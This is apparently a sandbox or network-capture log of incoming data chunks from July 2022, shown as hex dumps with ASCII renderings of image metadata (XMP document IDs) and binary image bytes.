2022-07-20 11:24:37 UTC	4833	IN	Data Raw: 66 36 30 61 31 30 61 2d 63 36 33 34 2d 34 35 66 34 2d 62 36 33 39 2d 34 33 33 35 66 65 38 39 61 31 61 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 38 35 31 38 32 37 2d 66 31 30 31 2d 34 33 31 32 2d 39 64 35 30 2d 36 62 34 63 34 65 36 64 37 36 65 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 38 63 32 33 61 35 2d 39 33 32 37 2d 34 65 33 37 2d 38 35 39 65 2d 30 33 33 35 32 32 63 31 32 64 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 61 61 38 35 64 64 2d 65 39 66 33 2d 39 38 34 32 2d 62 36 37 61 2d 64 37 34 65 31 38 30 64 65 62 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 65 64 66 63 38 30 Data Ascii: f60a10a-c634-45f4-b639-4335fe89a1a8</rdf:li> <rdf:li>xmp.did:df851827-f101-4312-9d50-6b4c4e6d76ed</rdf:li> <rdf:li>xmp.did:df8c23a5-9327-4e37-859e-033522c12d34</rdf:li> <rdf:li>xmp.did:dfaa85dd-e9f3-9842-b67a-d74e180deb41</rdf:li> <rdf:li>xmp.did:dfedfc80
2022-07-20 11:24:37 UTC	4840	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 36 31 63 65 35 39 39 2d 31 33 66 34 2d 34 35 38 65 2d 62 37 66 37 2d 63 30 34 35 30 34 66 64 31 63 34 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 36 63 34 61 61 62 64 2d 31 39 35 61 2d 66 61 34 39 2d 62 37 34 32 2d 63 30 38 64 33 31 38 37 34 66 37 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 37 31 63 64 36 65 30 2d 38 34 37 35 2d 34 38 31 36 2d 39 35 36 63 2d 39 30 33 61 31 32 62 39 34 65 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 37 32 35 65 39 38 66 2d 39 30 64 32 2d 34 37 64 30 2d 39 36 66 36 2d 36 62 34 62 63 66 63 65 61 65 65 62 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: df:li> <rdf:li>xmp.did:f61ce599-13f4-458e-b7f7-c04504fd1c4d</rdf:li> <rdf:li>xmp.did:f6c4aabd-195a-fa49-b742-c08d31874f7b</rdf:li> <rdf:li>xmp.did:f71cd6e0-8475-4816-956c-903a12b94e70</rdf:li> <rdf:li>xmp.did:f725e98f-90d2-47d0-96f6-6b4bcfceaeeb</rdf:li>
2022-07-20 11:24:37 UTC	4856	IN	Data Raw: 94 ef 4a b6 fb ee ed 43 f7 0b 6e 9a e8 79 7a 6b bb bb c9 49 50 c4 f8 7c a1 b2 ca a7 83 f2 c6 66 40 f8 cc 10 e9 12 0d 4a f2 11 19 24 7d d2 fe dd 2f 8e 43 1e 49 9f 98 ab 4b a8 ed 6b ea db e7 78 eb 45 cd 79 fe 37 06 14 92 79 24 1a 40 30 81 a5 57 66 eb 7e 27 d7 a4 90 65 4f 9b 21 44 d1 14 3e 7e f5 c5 56 89 e5 60 cd 20 dd b6 21 be 1c 8a 9f c4 ff 00 c7 5c 48 d2 c3 16 a6 b1 f3 18 a7 8c 26 31 44 23 cd ea f4 28 a9 02 c9 8c 15 88 24 8b 13 61 6b f6 bc 54 8f 27 e5 b7 0a 5f 1d c3 b7 48 5e 8d 9e 9d 0f 85 cd 1b 04 1c 59 50 dd 4f 45 fa 29 7d 05 71 78 9b 2c 4e 58 f3 d4 96 65 db 4e 31 7e 13 22 21 1a 4a 63 92 36 6d 41 85 91 bc 3f 0d 1e af b7 50 cd e4 f9 2c 1a 48 d4 32 a8 db 62 36 df c1 f7 b4 bf 33 07 e2 2c d8 e4 32 37 48 1d 54 e3 1b 05 a0 4e 24 d2 17 d7 6b 0d bb 8a 3f 7e b9 Data Ascii: JCnyzkIP\|f@J$}/CIKkxEy7y$@0Wf~'eO!D>~V` !\H&1D#($akT'_H^YPOE)}qx,NXeN1~"!Jc6mA?P,H2b63,27HTN$k?~
2022-07-20 11:24:37 UTC	4872	IN	Data Raw: 8b 72 5f 15 3c 67 58 79 b4 62 36 06 2e 84 0b d8 4b fb 44 ed fd 7d ca 56 af 8f 0c 92 26 54 48 64 6d e7 79 17 62 dc 6e 24 7d fd 72 7d ed 01 fe d1 06 50 33 c2 0c 0e 2c 57 41 23 67 8a aa f7 1f 86 39 76 91 cb 47 11 8f 04 79 b1 c6 4a 5c 7d c0 24 a1 72 f7 da b2 26 fc 7c ff 00 65 ff 00 15 3b e6 e1 23 cf 80 cd 33 59 a4 75 21 2f ab 68 fb c4 fa 94 c2 1c 49 a5 9a f8 aa 60 c5 55 d8 c4 db 59 fe 0f b6 df 7f 7f 33 d6 7f 2b 95 cb 83 8a b9 98 d9 25 8c 2e 18 2c 8b ac dd 8e 8d 7c 4f c3 a6 99 cd cf d2 2d 03 85 34 4d 62 59 06 99 19 4f 71 23 9b 76 b2 5a 3e a6 09 13 21 3b d0 ef e6 9b df c3 fb cd fa b8 4e 7a 80 ac ae bc b5 a0 8a ed 86 0c 8e 00 2b d2 07 7b c5 58 ce 71 cb 25 e4 f7 9f 1e f2 63 cb ab 65 bb 02 de d6 b4 1c a7 e6 38 25 42 d9 61 f1 d5 36 28 91 4a af 83 da 76 29 a3 65 c1 Data Ascii: r_<gXyb6.KD}V&THdmybn$}r}P3,WA#g9vGyJ\}$r&\|e;#3Yu!/hI`UY3+%.,\|O-4MbYOq#vZ>!;Nz+{Xq%ce8%Ba6(Jv)e
2022-07-20 11:24:37 UTC	4880	IN	Data Raw: a9 3b df 8b 5a b9 79 96 36 1e 3c 7f 14 db e1 14 b0 17 3b 48 ed ad 65 cb 2b 88 23 c7 27 69 0b e5 c6 ae f8 b6 e7 05 4b 69 7b ed a5 19 d8 32 73 36 55 9e 65 8e 04 b0 0a 06 95 2d ef 1a b4 1c bb 94 62 e0 a8 e1 28 2d e3 20 16 fb 54 2a cb 14 a5 66 93 62 01 75 51 b4 dc f7 a4 af 64 73 74 82 26 6c 78 d9 82 82 4d 86 c1 f8 95 46 46 96 45 11 ad d5 47 2f 0a 50 a3 63 b3 c7 e9 d4 be 60 e6 e7 02 35 8a 01 af 26 63 a6 34 e9 d5 f7 9a ff 00 0f 4d 2e e5 bf 2f 62 38 67 69 35 39 70 cf a4 69 2c eb ad b8 70 ff 00 f9 34 4f 52 e4 6c 39 e6 73 f3 56 52 22 8d 78 51 5f bd f7 f2 d4 be 62 e6 83 00 31 83 66 44 82 c8 d6 ec 27 bd 97 f7 29 91 06 89 84 09 f1 76 ca 7d 7f 2f f7 34 cc ca 8b 8f 1a 41 f3 6c d8 8d 22 e2 63 20 66 88 ef 48 4d da ff 00 72 bf f5 3c fa cd c2 00 26 c0 85 14 6a 47 d2 c6 aa Data Ascii: ;Zy6<;He+#'iKi{2s6Ue-b(- T*fbuQdst&lxMFFEG/Pc`5&c4M./b8gi59pi,p4ORl9sVR"xQ_b1fD')v}/4Al"c fHMr<&jG
2022-07-20 11:24:37 UTC	4896	IN	Data Raw: 19 78 96 58 63 77 98 b9 2e bb b1 ad b5 3f 09 25 5f d3 d1 ef 2a fc 0f 97 82 24 07 18 93 a9 b5 b8 71 ad 55 08 ec 32 b5 3b e5 7c 9a 2e 51 19 82 1b bc 44 ea 02 4d ed 2d e6 35 1f 1c fc 59 1a 35 42 15 7a 58 f6 49 f0 d6 4c ff 00 89 12 a1 23 b9 c4 b3 cb 3b f1 cb 9f bb c7 f8 7f bb a7 2a d8 92 49 3e af 2a d6 3f 98 72 bc de 57 91 26 7f 2c 08 a8 2e 5c 03 b1 c7 ff 00 c3 d1 18 99 7f fe 32 29 79 49 59 23 b5 b1 c1 d3 a5 bf fc 2d be f3 cc fb ba d3 65 f0 b3 1b 44 ac a9 b3 ab 60 20 6f 37 a7 5f 3e e7 39 f0 e3 65 99 b1 f5 45 97 13 e9 24 f6 19 74 f1 15 f7 77 fd 66 e2 76 29 f1 03 dd 31 44 1d 46 51 ee fb 8c 3a 2d ee d7 ed 3f af 50 da 1c f6 37 a3 cd f9 7d e5 6b b3 b9 54 d9 b0 3e 26 4b 2b 2b a5 b5 7b cd 43 b1 2f 75 37 2b 2c df 25 e4 40 e5 64 95 59 41 b0 d0 a5 9a f6 ec b2 3e 9d 14 Data Ascii: xXcw.?%_$qU2;\|.QDM-5Y5BzXIL#;I>*?rW&,.\2)yIY#-eD` o7_>9eE$twfv)1DFQ:-?P7}kT>&K++{C/u7+,%@dYA>
2022-07-20 11:24:37 UTC	4912	IN	Data Raw: e5 cb 94 69 12 45 24 40 87 4b 6e 92 db ba 51 bd fd 67 fe 55 e7 3c c0 3b e3 26 93 1b dd 81 b6 a5 5b f9 f4 cf 9e f3 89 70 a3 00 b6 a9 18 10 a3 b2 bb 3b fb 95 0f 14 11 c6 91 20 7f e7 46 d7 53 b8 f1 b7 1f d4 a7 87 3a 82 b9 0e 56 e4 ae 73 ec 59 f3 62 0b 1b 32 15 37 f2 7e ad 0f 8b 9d 2c 11 88 e6 53 29 17 b1 04 86 1e 9c c9 4a 79 5f 34 cc 92 46 85 8b 18 c8 b0 1d 6c c6 b4 58 38 bc 6c 36 8c 36 86 27 6b 75 f9 d4 a2 5b b5 01 5b 06 00 e9 bb 9f c4 a4 84 49 1b 31 78 df 87 35 e6 a1 bf dd 72 22 42 cc a2 ca 2e c5 81 35 1c 3e 6a 72 84 8e d2 f0 d1 56 e7 4a 8e 8f d8 a3 39 97 2e d6 8b 8d 8c d7 2f 6b 8e d3 30 5e d4 f3 3f 83 fe a5 2c 4f 97 84 61 e3 89 a4 75 ef 86 21 45 fd 05 a0 51 13 26 47 70 9d 9b b4 f2 96 b1 14 a3 98 f3 95 cc 60 78 0a e5 01 54 69 b7 8a a9 fc 24 f5 74 af 99 e5 Data Ascii: iE$@KnQgU<;&[p; FS:VsYb27~,S)Jy_4FlX8l66'ku[[I1x5r"B.5>jrVJ9./k0^?,Oau!EQ&Gp`xTi$t
2022-07-20 11:24:37 UTC	4920	IN	Data Raw: cb cd 78 27 98 93 00 29 24 70 8d f7 7f c6 9f b8 9f c2 a6 b9 39 dc d7 26 56 5c 5d 38 f1 9b 02 53 d6 4a 4d bd d7 71 2b 3c c6 af ff 00 c8 93 a7 1c 8e d1 ac fb dd 1f 99 0a 7f 0e ba 27 e9 8c 51 76 46 24 5e 75 cb db ab 23 e5 cf c8 e6 03 8b 31 c2 2d a4 28 3a f8 24 7d e6 ec 8f f0 bf e8 fb ca 6d 99 39 48 f8 f8 e4 33 b0 0a 9d 6a 49 3d b6 d1 da 44 a5 bc bf 4f 2f 9c 62 34 cc d2 3b 71 08 63 ab a4 7a cd fa 4b cd e1 8b 13 98 36 56 06 42 00 56 ef 12 91 a4 38 3b e8 ad ec 78 8f db ac f9 7b 37 97 b8 70 7d df 48 34 aa d2 0e 9a cb 1e 5e ed 3f 89 fe a5 37 30 46 98 06 f2 65 8d 6b 39 5f 2b ca 89 df 26 79 4c a2 4b 12 87 c4 3e e9 3d da 7e 1d 47 9a e5 63 73 05 38 f9 49 65 43 70 a7 77 7d 7d 06 a5 1c af e6 e5 8f 54 d3 5b b3 6b 28 d4 c3 d3 c7 6f fc 94 ff 00 0e b3 b9 fc fb 0f 2b 29 f2 Data Ascii: x')$p9&V\]8SJMq+<'QvF$^u#1-(:$}m9H3jI=DO/b4;qczK6VBV8;x{7p}H4^?70Fek9_+&yLK>=~Gcs8IeCpw}}T[k(o+)
2022-07-20 11:24:37 UTC	4936	IN	Data Raw: 23 24 2d 89 07 64 e8 3b bf 53 b9 e0 a6 0e 4f 30 c6 57 84 1b be 93 66 d8 6d 7f 58 8f 49 65 63 64 07 75 b1 b9 6f 3d 12 d9 b5 ac f7 39 13 e6 ac b0 66 0d f7 04 c1 1a 6d ec f7 99 eb 0f 3e 3b 07 31 4b ba c8 48 23 e9 15 f5 89 96 08 89 9e 62 11 94 69 2d f4 1e ed 62 7e 65 e4 f3 c3 27 fb 9b 8b 24 b6 00 1e d5 87 62 49 13 cf ad 6f c3 e7 b1 29 6e 98 b6 ef f1 7d 4a b1 a3 2f a2 de 15 93 25 4c 9a 7a 85 72 57 51 26 a3 b0 9f 25 13 2c 44 35 91 47 d2 6a 89 a2 5b 5f ae b7 15 94 81 55 8a d3 af 97 b9 84 7c 41 8f 30 d5 00 60 74 9d ba db fb b5 a7 f9 dd f1 a3 e5 4e 80 ea 25 82 a7 9b de fa 9b 95 f3 de 5f 33 45 62 a4 ad 8e c3 d7 f5 6b 51 9c d8 fc cf 92 18 f5 33 64 e3 7a cd a7 53 3a df 44 ae df 87 bf 59 f3 c0 17 b8 8d c6 56 ea ad ca fe 5f 4e 97 13 ba c8 06 5b ad a2 2f 96 4f fc 95 2f Data Ascii: #$-d;SO0WfmXIecduo=9fm>;1KH#bi-b~e'$bIo)n}J/%LzrWQ&%,D5Gj[_U\|A0`tN%_3EbkQ3dzS:DYV_N[/O/
2022-07-20 11:24:37 UTC	4952	IN	Data Raw: 7b 6f 8a 57 f1 d5 d9 58 0f 14 8c 65 8c cf 91 23 1b 15 f6 42 9a f2 09 e5 c4 8c 62 3a 84 5e f3 db 7a fe 65 29 04 2e e1 9b 04 6e 5c 77 b7 bf 77 1f fc 95 0c a6 33 b1 d9 18 ef 11 c9 53 e5 dc e6 4c 65 30 11 6d 36 07 c5 52 c9 75 8d 46 2c 71 14 92 6d aa e7 79 b7 7d e7 8f ed d4 17 91 b6 4e 5f 13 0d 8f 0d 8f ac 62 05 b6 77 15 7b 74 7e 26 14 f1 e4 bc d9 2f a8 a8 d0 83 c8 80 ea d6 fe 7d 3a 55 7e cf b7 7e a9 6b 0c 52 18 f1 49 23 ce 4e 3a 90 a4 49 b9 c0 35 cf 2a cf 65 7c ac f8 19 69 9d 1b 1e 01 b0 98 77 ac dd b9 38 6b e1 ef d3 f3 06 2f 28 c7 79 89 72 80 5f b5 a8 9f 04 71 2f 9f dc a2 f3 65 58 e2 6d 5d 04 11 6f 2f 99 59 2e 53 97 8f 9b 99 c2 9e 42 b1 c4 da e3 42 4e f3 fd 7f ff 00 06 f7 10 d6 2e 72 77 4b 9b 64 12 1e 2c 39 e3 fe bd 58 26 c3 2f a5 56 73 5f 96 5f 3a 06 ca 9d Data Ascii: {oWXe#Bb:^ze).n\ww3SLe0m6RuF,qmy}N_bw{t~&/}:U~~kRI#N:I5*e\|iw8k/(yr_q/eXm]o/Y.SBBN.rwKd,9X&/Vs__:
2022-07-20 11:24:37 UTC	4959	IN	Data Raw: 6b 7a f9 aa cf cc 79 4e 5a e3 e6 de 40 ea 09 0b bf b1 bb de af bf 5a 07 40 a4 68 3a 81 00 8f cf 4c e1 cd 87 12 4e 2c c4 69 5e 9d b6 f4 53 fb 95 4c 50 47 96 9e ae d1 b0 66 b8 23 78 02 75 c6 9c 3f 42 ab c9 30 70 1c a8 8c f0 b6 1c 2f fb ca 1b 0f cd 4a 72 31 a3 c8 5d 2e 2f 6a 5b fe de 51 38 91 8b e9 24 10 3a 45 3b c9 c4 97 15 87 10 59 4f 41 e9 53 5c 10 68 4d 40 58 39 26 ff 00 48 a3 49 8a 8d 0d d4 d0 94 14 27 2b 74 99 52 09 98 ac 68 f7 36 f0 b7 77 f7 e9 e6 77 26 99 64 55 c3 8c 2a a1 d4 ac 08 0d b7 c5 27 6e 93 28 c7 8e 68 b8 dd 32 16 52 01 da 7f 89 e6 6f d3 83 91 97 8a bc 15 65 32 c4 ba 92 e7 d5 c8 9d 9f 5d fc 3a 4c e5 b2 0c 9a 5e fb af c1 ed 54 81 61 63 a8 a0 60 c3 e6 38 53 85 ca 7d 50 48 0e ec 84 6a 1f c2 99 77 78 95 93 e7 32 ca f9 6c 27 ed 0d 97 20 5e dd c7 Data Ascii: kzyNZ@Z@h:LN,i^SLPGf#xu?B0p/Jr1]./j[Q8$:E;YOAS\hM@X9&HI'+tRh6ww&dU*'n(h2Roe2]:L^Tac`8S}PHjwx2l' ^
2022-07-20 11:24:37 UTC	4975	IN	Data Raw: 24 7b d5 39 f9 ac 3a 02 dd e2 70 f6 26 db aa bd f8 38 91 71 13 b3 43 62 66 07 23 37 0d 23 d2 36 1d 2e 34 74 76 5a 3f 57 c1 de aa 32 79 ae 31 9f 71 1e 09 18 e9 90 a8 d2 09 ef bb fb 99 3f 4e 90 61 05 cd 94 e9 e5 f5 3c e9 bf 50 4d 87 8d eb 55 8f 93 06 4a 0d 0e b2 0f ca 0d 72 57 6c 56 07 b5 17 87 6e ab f7 3f 97 59 ac c8 d6 10 a2 18 8c b3 db 56 a4 3a 1c 0e d7 ad 65 f5 75 63 72 0c ac dc 44 69 92 39 d1 0e a2 aa d6 76 3e 1f 88 f5 6f 25 47 6f da a9 70 77 a4 5e 2e 97 33 63 f9 7e ee 80 e6 45 ae bf 23 51 1f 33 aa 73 2c 47 c5 55 2f 28 37 40 bb 4d c0 dd f3 e9 7f 2f 97 98 c1 02 63 64 c5 26 32 a2 e9 69 0e c3 a0 77 20 fc 4d 1e 7a 51 78 30 72 7c 28 b5 cd c3 45 6b d8 4a 01 91 3b 9c 3d 52 7a dd 51 d2 61 ce f2 31 33 e4 c7 8f 29 b8 44 de 02 4d e3 7b fb 3e 3e 46 b4 f5 3e ef 8d Data Ascii: ${9:p&8qCbf#7#6.4tvZ?W2y1q?Na<PMUJrWlVn?YV:eucrDi9v>o%Gopw^.3c~E#Q3s,GU/(7@M/cd&2iw MzQx0r\|(EkJ;=RzQa13)DM{>>F>
2022-07-20 11:24:37 UTC	4991	IN	Data Raw: 57 5e c3 aa 5d 4c e9 af 71 e8 1e 5c b8 71 63 4e 21 27 8a 51 49 d6 07 89 7b fa 9d 56 86 e6 7c 5c 5c 68 8c 8c 0c f3 6f 93 d2 d1 a2 1f 52 a9 27 73 8d 26 b7 96 b3 11 2e 5d 15 8c 79 b6 ee 5c 5f 79 f4 29 92 44 84 02 ca ac df 9a b4 b9 a6 7c 95 d2 93 de dd c2 4a 8d 4a 7b fc 3f 6d f7 9e 0a 14 f3 9c cc 2d b9 88 b3 29 3d b4 dd 3f 62 a5 c8 39 dc 3c d6 d0 65 28 f8 80 3b 5d 4e 07 ea bd 39 6e 57 14 a0 aa a1 37 1d 55 46 47 e9 b7 4e 65 be 3f ab fb b9 28 55 14 0d d1 8d f5 dd a1 70 f3 b1 b3 4d d1 8a b0 e9 56 16 34 26 6a c9 16 b8 51 b8 7c 42 00 60 74 86 d5 ab da 52 1e 6f 88 b8 39 9c 17 7d 3a 76 ea 3d 61 bb 1a 92 9a 72 8c 86 cb d7 8f 37 ac 88 5c 6a eb 04 78 35 ef d3 4c 01 14 4a a7 28 c8 ca cd 52 1b 5b 1a 73 c8 71 70 39 38 47 60 72 39 83 8b e8 51 7d 1f 6b 72 3f e2 c9 44 73 bc Data Ascii: W^]Lq\qcN!'QI{V\|\\hoR's&.]y\_y)D\|JJ{?m-)=?b9<e(;]N9nW7UFGNe?(UpMV4&jQ\|B`tRo9}:v=ar7\jx5LJ(R[sqp98G`r9Q}kr?Ds
2022-07-20 11:24:37 UTC	4999	IN	Data Raw: 85 82 b4 7c 32 f9 12 59 62 8d 2f d3 ef 25 9e 6f 0a d0 8e de 47 8c 1b 69 c5 cb bd 9f 3b d0 de fb 2b 51 93 8f 8a 10 4d 92 da 63 51 b0 33 7a bf 4b 4f bd 77 a4 4b cd 97 3f 28 62 e0 91 18 50 15 da 5e 86 29 eb 38 51 62 2f 0d f4 ff 00 87 50 7c 9c 8c c1 62 ca 67 04 85 2c 3d 54 1e 7c 30 f8 ff 00 1d fd 65 5d ca 3e 5a c1 c3 88 6b 6d 59 1b 18 ca 0e f6 a0 75 7a ad 4b b9 ae 89 02 c0 8d 99 2d 21 dd 8c 5b 2c 3d 7f cb 8e 99 98 b6 27 fa 29 b4 7c be 38 8f 1f 28 f1 e6 27 b4 eb d9 bf dc 43 d8 89 28 e8 a4 d8 16 35 b8 1f 9a d5 56 2b ca 46 f1 0c 36 ed 3f a3 57 ac e4 30 43 d6 6a 81 bb 92 18 dc f2 f9 68 43 5e bd 95 9c b8 ca aa 48 53 7d b6 ed 7a 54 08 97 1b 27 98 3a ca 0c 69 c3 50 4b 1b 2c ad 76 f5 8a 94 bf 22 5d 73 9b c7 b7 51 b9 2d d3 63 ee d7 4d 57 cd 79 86 54 71 29 40 38 ec c3 Data Ascii: \|2Yb/%oGi;+QMcQ3zKOwK?(bP^)8Qb/P\|bg,=T\|0e]>ZkmYuzK-![,=')\|8('C(5V+F6?W0CjhC^HS}zT':iPK,v"]sQ-cMWyTq)@8
2022-07-20 11:24:37 UTC	5015	IN	Data Raw: 18 83 63 e2 4b 66 ba b0 04 9b 3b 76 74 2c 9e cb fe 9d 4d f9 ac 99 92 7c 20 88 07 2d a2 42 00 3a ad dd e2 ad 53 6e d4 a1 12 22 ba 2a f3 33 74 fe 9d 18 92 c4 8b ef fd 2a 4d 0f 2e 75 95 1e 60 d1 c9 70 48 1e f4 76 9f 86 df fe 11 a3 b7 17 bc ad 8f 2f cc c0 cb 5e 04 2b ad 64 b9 60 4d 85 fc f6 a0 73 79 74 d1 72 e6 c6 ce 1a 34 ba 32 9b d9 89 d6 89 c6 8b d1 47 a5 5f 30 72 99 f0 a6 2f a5 9e 29 0e 94 91 6e da ef ec e3 c9 e1 ff 00 f7 3f 8d ef bd 3a 6c 9f fc 96 c6 42 d1 4e 84 e0 39 1b 0c 64 fe dd 1e 2c 05 c1 c4 f8 fa d4 7f 37 e5 b0 72 49 62 9a 69 16 58 18 92 12 db 43 78 1b ef 52 99 e3 fc cb 82 f2 24 d0 b0 8e 40 9a 4c 56 50 ac 7b 48 f4 07 fb 5e 0f c3 a1 9b 4a 94 50 58 93 b4 0f 3f 89 4a e5 ce e4 f1 c8 c8 c9 06 8e 90 c4 c8 cc 4f d5 d1 fd 3d 5d 0e 62 65 20 2c 99 db 17 31 Data Ascii: cKf;vt,M\| -B:Sn"3tM.u`pHv/^+d`Msytr42G_0r/)n?:lBN9d,7rIbiXCxR$@LVP{H^JPX?JO=]be ,1
2022-07-20 11:24:37 UTC	5031	IN	Data Raw: e4 59 b5 13 b3 b1 f7 71 6f 52 68 4a ca 2f 1e f5 fa 87 97 c3 5a 88 be 59 e5 d8 4d 70 b1 a9 b7 4b 0d 60 7f 12 59 5a 82 cb 81 61 97 5a ef 46 16 c8 40 d8 17 bb f5 56 aa 45 22 05 b4 79 95 f0 32 53 80 1b 2e 19 85 67 e6 51 c0 39 00 ea 6d 56 09 a5 83 db bc f2 6e f6 2b 91 63 b4 d2 2c 60 6d 7d 82 fd 14 fc 63 19 d5 65 91 c2 a8 1d 00 0d e0 7c 6e d5 4c 71 c1 1c a9 20 60 42 ef 5b a8 a7 b2 95 51 a9 c2 7d 08 1b 6b 99 41 1f 2d 09 36 24 9c b1 c4 6f 95 24 71 31 ec 46 08 d4 3e f7 5e f5 38 93 93 e0 45 14 79 01 4c b2 13 65 e2 b1 91 5b f0 b8 3e ae 88 e5 f1 60 cd ae 70 37 14 8d 28 41 2f bb db fa 9a aa c9 4e 4e 4c ba e4 8d 52 15 6d cf 13 2f de f9 8f 55 65 99 c9 0a 4b 26 1f 13 ec f3 f5 37 2b 94 5b 55 b5 be 4a 43 cc 39 39 89 8c d2 c0 21 2a d6 06 1d 81 4f 99 c3 6d 7f 6e 99 e3 7c b7 Data Ascii: YqoRhJ/ZYMpK`YZaZF@VE"y2S.gQ9mVn+c,`m}ce\|nLq `B[Q}kA-6$o$q1F>^8EyLe[>`p7(A/NNLRm/UeK&7+[UJC99!*Omn\|
2022-07-20 11:24:37 UTC	5039	IN	Data Raw: b3 47 da 53 7a d7 f3 0c 69 d2 21 cd f1 8d c3 aa 99 a2 1b aa e9 e3 6d 1e f2 3a c7 a8 b7 55 7d 0b 90 ca cb 85 03 4a 4d 8a 74 1d 9b be 3d 15 9b df 31 4c 5c 0b eb 83 2f de 47 e4 ab 11 9d 6d e0 6a 86 e6 d9 a6 35 e1 62 23 af 94 ca 3a ff 00 95 54 c9 cd b3 50 2a ac 60 5c 6d 52 db 17 eb 2a 50 fc bb 9e 3c 25 e1 8e 26 97 1e 3b 95 71 da 09 7d ef 57 ef e2 c6 f3 29 9a 4e 73 e2 e2 30 21 0d b4 91 bc 1b ec 6e d5 26 41 19 d6 34 c7 d3 93 7f 5e 9a ca 4e 9e 5a 4f cf b9 84 b2 44 a6 62 04 40 ec 54 5d ad 27 a7 26 f7 f9 75 9e e5 b8 e9 3e 5d 90 58 f4 b1 e9 37 26 b4 9c cf 96 3b 27 1e 41 72 86 ca a0 dc 01 de 7f 4e bd f2 56 0a c0 66 c9 97 64 84 e9 0a 7a aa da 4c 91 76 ec 57 68 dd b2 f9 9a 81 af 61 7f 1a 27 9d e0 63 40 89 91 76 76 16 5b 77 5a e7 bd 56 43 8f 95 96 c4 69 31 28 16 52 76 Data Ascii: GSzi!m:U}JMt=1L\/Gmj5b#:TP`\mRP<%&;q}W)Ns0!n&A4^NZODb@T]'&u>]X7&;'ArNVfdzLvWha'c@vv[wZVCi1(Rv
2022-07-20 11:24:37 UTC	5055	IN	Data Raw: bd ed b7 a0 d2 3d 22 71 ae 5b eb be d3 6d 95 6c 52 c4 e3 84 db 07 42 91 4a 96 35 71 eb 2e d3 42 54 37 c9 47 f3 1c d4 d0 51 2f 72 48 d5 d5 bb e0 af 52 c6 6e 1f ab bd c0 d9 5e a1 e8 8c 2d e1 b7 2a 0f 1b 57 ff d7 0b 9b a3 49 22 99 34 82 35 6c 52 2d d3 ab 5e e6 ed 04 c0 05 04 6c db 63 b7 a4 f8 eb 53 f3 24 13 4e ea b1 d8 c5 a7 50 00 5b 43 01 bf c4 a4 90 4b 12 e3 b8 16 e3 93 a2 c4 5e ca 7b 6d e6 68 df af 31 0c b9 46 a4 0f 9a bc b4 eb dc eb 4b e0 94 e3 39 65 01 d0 8d aa 6e 14 db b3 f6 3b 94 eb 1a 66 c8 37 8c a9 4d 8c a1 bf 2e 9d 0f e8 7b da 56 62 3b 10 0b 93 60 07 94 d6 97 96 72 91 1b 35 ee 16 15 d2 e4 8e d4 9b 8d c3 81 ff 00 8b ae a7 b9 75 02 e7 8a 89 10 93 71 41 ce 27 7b 08 3b 7b 6f a7 74 11 e1 5f 43 b9 ae 9a a4 26 2c 60 72 a4 57 7b 74 1b 1f a9 f5 2a 31 20 78 Data Ascii: ="q[mlRBJ5q.BT7GQ/rHRn^-WI"45lR-^lcS$NP[CK^{mh1FK9en;f7M.{Vb;`r5uqA'{;{ot_C&,`rW{t1 x
2022-07-20 11:24:37 UTC	5071	IN	Data Raw: b7 ec 7f 2e a5 0a 34 b6 cb 04 f9 79 e4 f3 d4 5c 81 60 69 bc 98 b3 e7 48 d2 63 f0 95 de 2d 25 8d f5 26 af 68 b1 fa 7f 5e a7 8f c9 e0 c1 ca 84 b0 3a a1 b9 03 61 04 5b b5 ab d5 f6 7d a5 0a c8 ef 02 ca 0a aa ac 69 ac 82 77 d9 75 2f 6b ea 54 4f 30 c8 68 9e fb f0 35 a3 40 5b 79 47 7f 87 e3 e2 50 80 fb 14 8c 78 31 a2 2d 61 f2 53 9c fc 31 cd b1 8c 65 48 56 2a 43 28 df 2a 3d 3d da ca e7 72 fe 67 c8 02 08 98 cb 05 c9 d3 6d 4b e8 4c 95 a6 e5 13 e8 44 c6 88 92 b1 0d a1 ba ff 00 0a 3d 3e ee 3a 96 89 b9 de 3a 64 c3 29 40 2e 40 16 17 f3 1f d1 a5 45 2b 40 4a 9c 4c 19 6f 09 3d 6e 0a 13 be 35 b9 ac 47 33 f9 8d b8 a9 f0 c5 d4 05 da a6 ea ca fd 97 df 4f 32 a7 ca f9 c6 53 b0 8b 0c 91 29 e8 53 b5 4f d9 fd b4 a6 5f 3b 43 88 56 29 80 1f 1a 4d a4 b1 ee 8e f4 c9 e3 a0 3e 5f e5 79 Data Ascii: .4y\`iHc-%&h^:a[}iwu/kTO0h5@[yGPx1-aS1eHVC(==rgmKLD=>::d)@.@E+@JLo=n5G3O2S)SO_;CV)M>_y
2022-07-20 11:24:37 UTC	5079	IN	Data Raw: e4 9f cd a9 e1 76 5c a5 77 a2 65 62 8a 57 70 ae ed b2 aa 66 9b 99 61 46 f3 ca e5 b1 35 9b 3a 32 ae eb 37 aa d1 df f3 29 07 cc 79 19 6c 57 07 20 f1 76 89 37 1b 59 fb b8 d6 49 7c 68 9f 87 5b de 7b 0e 2c 38 12 19 d7 d5 22 1b 20 d8 0b 36 e4 6a bf 88 ce fe ae b2 7c 9b 94 67 be 37 c5 b4 23 88 c8 c1 4e a0 8d e6 ee e9 ad 99 5e 48 a2 58 e2 5b b3 64 a1 15 f1 c3 2e 3f ee 63 fb cf b2 a0 10 00 dd 4f 37 d5 7f dd ff 00 c7 56 e6 41 14 18 69 9f 8e 8b 8f 8d ba ad 1b 13 ac 9d 4a 9f 11 0a 69 f6 89 bf c4 fb f8 e8 bc 34 c3 e7 0a 26 85 ee db 6e 45 c7 41 ed 2a 3f bb a9 e7 63 65 67 61 88 